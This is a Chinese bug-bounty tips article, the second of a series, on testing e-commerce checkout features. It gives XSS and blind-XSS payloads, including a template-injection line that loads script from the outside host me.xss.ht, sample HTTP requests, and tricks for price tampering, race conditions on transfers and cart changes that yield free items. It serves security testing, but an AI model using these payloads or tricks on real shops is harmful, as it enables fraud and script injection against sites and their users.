漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-II

简介: 前言本文为本系列的第二篇,前篇有:漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

前言


本文为本系列的第二篇,前篇有:

漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I


正文


第八种方法

尝试在所有的字段中注入XSS有效载荷,比如: "><svg/onload=prompt(1)>或者Blind XSS 的有效载荷,比如: "><img src=//me.xss.ht>,尝试获取XSS

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type:application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1&price=10&currency=dollar&token=************ &add="><img src=//me.xss.ht>

第九种方法

尝试注入blind xss或者blind 模板注入的有效载荷,例如:(主要是 Angular或者 Vue.js)

在User-Agent中:{{constructor.constructor ('import("http://me.xss.ht")')()}}

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0"><img src=//me.xss.ht> 
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com
Content-Length: Number
Quantity=1&price=10&currency=dollar&token=************& add=egy

第十种方法

尝试在所有的输入字段中插入以下:

0x00 ➡️0x2F
0x3A ➡️0x40
0x5B ➡️0x60
0x7B ➡️0xFF

比如: Quantity=%00 或者  Quantity=%FF可能会导致

  • 信息泄露
  • 绕过黑名单
  • 账户劫持
  • 内存崩溃

第十一种方法

尝试在参数的所有字段值中插入大的字符或数字,例如Quantity=XXX 50.000+ XXX,又例如abc.com/search/?q=<many character>

可能造成敏感信息泄露

第十二种方法

尝试操纵响应以引起错误

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"price" : 0.10 ,
"quantity" : 1 }

第十三种方法

如果有资金从银行账户1转到银行账户2,例如http://comapny.com/transfer?from=1&to=2&amount=10 ,尽量使用竞态条件

复现步骤:

第十四种方法

允许用户在支付物品时改变订单的应用程序,如果在过程结束时没有验证,也可能存在漏洞。

复现步骤:

  • 使用Firefox浏览器,添加物品到购物车,通过付款页面,然后在此停止
  • 使用Chrome,然后添加新的物品到购物车
  • 回到Firefox浏览器,完成支付流程,可能你会白嫖了一个物品
目录
相关文章
|
1月前
|
运维
【运维基础知识】用dos批处理批量替换文件中的某个字符串(本地单元测试通过,部分功能有待优化,欢迎指正)
该脚本用于将C盘test目录下所有以t开头的txt文件中的字符串“123”批量替换为“abc”。通过创建批处理文件并运行,可实现自动化文本替换,适合初学者学习批处理脚本的基础操作与逻辑控制。
134 56
|
22天前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
21 5
|
1月前
|
测试技术 开发者
vertx的学习总结6之动态代理类和测试
本文是Vert.x学习系列的第六部分,介绍了如何使用动态代理在事件总线上公开服务,以及如何进行Vert.x组件的异步测试,包括动态代理的创建和使用,以及JUnit 5和Vert.x测试工具的结合使用。
22 3
vertx的学习总结6之动态代理类和测试
|
1月前
|
测试技术
Appscan手工探索、手工测试功能实战
Appscan手工探索、手工测试功能实战
|
1月前
|
安全 程序员 网络安全
Kali渗透测试:对软件的溢出漏洞进行测试
Kali渗透测试:对软件的溢出漏洞进行测试
|
1月前
|
安全 网络协议 Linux
Kali渗透测试:使用Armitage针对漏洞进行攻击
Kali渗透测试:使用Armitage针对漏洞进行攻击
|
2月前
|
安全 测试技术 Linux
CentOS7 安装vulhub漏洞测试环境
CentOS7 安装vulhub漏洞测试环境
|
6天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
34 3
|
1月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
57 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
2月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
237 7
Jmeter实现WebSocket协议的接口测试方法